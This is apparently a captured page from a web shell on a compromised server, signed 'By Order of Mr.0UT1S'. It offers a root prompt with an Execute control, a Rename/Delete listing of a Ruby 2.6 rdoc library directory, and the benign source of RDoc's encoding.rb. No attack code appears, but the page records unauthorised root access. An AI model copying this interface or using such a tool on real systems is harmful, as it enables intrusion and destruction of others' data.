opt
/
alt
/
ruby26
/
lib64
/
ruby
/
2.6.0
/
rdoc
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] context
N/A
[DIR] generator
N/A
[DIR] i18n
N/A
[DIR] markdown
N/A
[DIR] markup
N/A
[DIR] parser
N/A
[DIR] rd
N/A
[DIR] ri
N/A
[DIR] stats
N/A
alias.rb
2.12 KB
Rename
Delete
anon_class.rb
172 bytes
Rename
Delete
any_method.rb
7.04 KB
Rename
Delete
attr.rb
3.76 KB
Rename
Delete
class_module.rb
19.81 KB
Rename
Delete
code_object.rb
9.26 KB
Rename
Delete
code_objects.rb
151 bytes
Rename
Delete
comment.rb
5.59 KB
Rename
Delete
constant.rb
3.59 KB
Rename
Delete
context.rb
30.09 KB
Rename
Delete
cross_reference.rb
6.51 KB
Rename
Delete
encoding.rb
3.75 KB
Rename
Delete
erb_partial.rb
400 bytes
Rename
Delete
erbio.rb
934 bytes
Rename
Delete
extend.rb
170 bytes
Rename
Delete
generator.rb
1.79 KB
Rename
Delete
ghost_method.rb
144 bytes
Rename
Delete
i18n.rb
170 bytes
Rename
Delete
include.rb
172 bytes
Rename
Delete
known_classes.rb
2.62 KB
Rename
Delete
markdown.rb
377.07 KB
Rename
Delete
markup.rb
28.22 KB
Rename
Delete
meta_method.rb
129 bytes
Rename
Delete
method_attr.rb
9.03 KB
Rename
Delete
mixin.rb
2.75 KB
Rename
Delete
normal_class.rb
2.13 KB
Rename
Delete
normal_module.rb
1.43 KB
Rename
Delete
options.rb
30.42 KB
Rename
Delete
parser.rb
7.05 KB
Rename
Delete
rd.rb
3.57 KB
Rename
Delete
rdoc.rb
13.54 KB
Rename
Delete
require.rb
965 bytes
Rename
Delete
ri.rb
345 bytes
Rename
Delete
rubygems_hook.rb
5.14 KB
Rename
Delete
servlet.rb
11.96 KB
Rename
Delete
single_class.rb
408 bytes
Rename
Delete
stats.rb
10.48 KB
Rename
Delete
store.rb
22.55 KB
Rename
Delete
task.rb
7.67 KB
Rename
Delete
text.rb
7.32 KB
Rename
Delete
token_stream.rb
3.10 KB
Rename
Delete
tom_doc.rb
6.56 KB
Rename
Delete
top_level.rb
5.54 KB
Rename
Delete
version.rb
77 bytes
Rename
Delete
# coding: US-ASCII # frozen_string_literal: true ## # This class is a wrapper around File IO and Encoding that helps RDoc load # files and convert them to the correct encoding. module RDoc::Encoding HEADER_REGEXP = /^ (?: \A\#!.*\n | ^\#\s+frozen[-_]string[-_]literal[=:].+\n | ^\#[^\n]+\b(?:en)?coding[=:]\s*(?<name>[^\s;]+).*\n | <\?xml[^?]*encoding=(?<quote>["'])(?<name>.*?)\k<quote>.*\n )+ /xi # :nodoc: ## # Reads the contents of +filename+ and handles any encoding directives in # the file. # # The content will be converted to the +encoding+. If the file cannot be # converted a warning will be printed and nil will be returned. # # If +force_transcode+ is true the document will be transcoded and any # unknown character in the target encoding will be replaced with '?' def self.read_file filename, encoding, force_transcode = false content = File.open filename, "rb" do |f| f.read end content.gsub!("\r\n", "\n") if RUBY_PLATFORM =~ /mswin|mingw/ utf8 = content.sub!(/\A\xef\xbb\xbf/, '') enc = RDoc::Encoding.detect_encoding content content = RDoc::Encoding.change_encoding content, enc if enc begin encoding ||= Encoding.default_external orig_encoding = content.encoding if not orig_encoding.ascii_compatible? then content = content.encode encoding elsif utf8 then content = RDoc::Encoding.change_encoding content, Encoding::UTF_8 content = content.encode encoding else # assume the content is in our output encoding content = RDoc::Encoding.change_encoding content, encoding end unless content.valid_encoding? then # revert and try to transcode content = RDoc::Encoding.change_encoding content, orig_encoding content = content.encode encoding end unless content.valid_encoding? then warn "unable to convert #{filename} to #{encoding}, skipping" content = nil end rescue Encoding::InvalidByteSequenceError, Encoding::UndefinedConversionError => e if force_transcode then content = RDoc::Encoding.change_encoding content, orig_encoding content = content.encode(encoding, :invalid => :replace, :undef => :replace, :replace => '?') return content else warn "unable to convert #{e.message} for #{filename}, skipping" return nil end end content rescue ArgumentError => e raise unless e.message =~ /unknown encoding name - (.*)/ warn "unknown encoding name \"#{$1}\" for #{filename}, skipping" nil rescue Errno::EISDIR, Errno::ENOENT nil end def self.remove_frozen_string_literal string string =~ /\A(?:#!.*\n)?(.*\n)/ first_line = $1 if first_line =~ /\A# +frozen[-_]string[-_]literal[=:].+$/i string = string.sub first_line, '' end string end ## # Detects the encoding of +string+ based on the magic comment def self.detect_encoding string result = HEADER_REGEXP.match string name = result && result[:name] name ? Encoding.find(name) : nil end ## # Removes magic comments and shebang def self.remove_magic_comment string string.sub HEADER_REGEXP do |s| s.gsub(/[^\n]/, '') end end ## # Changes encoding based on +encoding+ without converting and returns new # string def self.change_encoding text, encoding if text.kind_of? RDoc::Comment text.encode! encoding else # TODO: Remove this condition after Ruby 2.2 EOL if RUBY_VERSION < '2.3.0' text.force_encoding encoding else String.new text, encoding: encoding end end end end
Save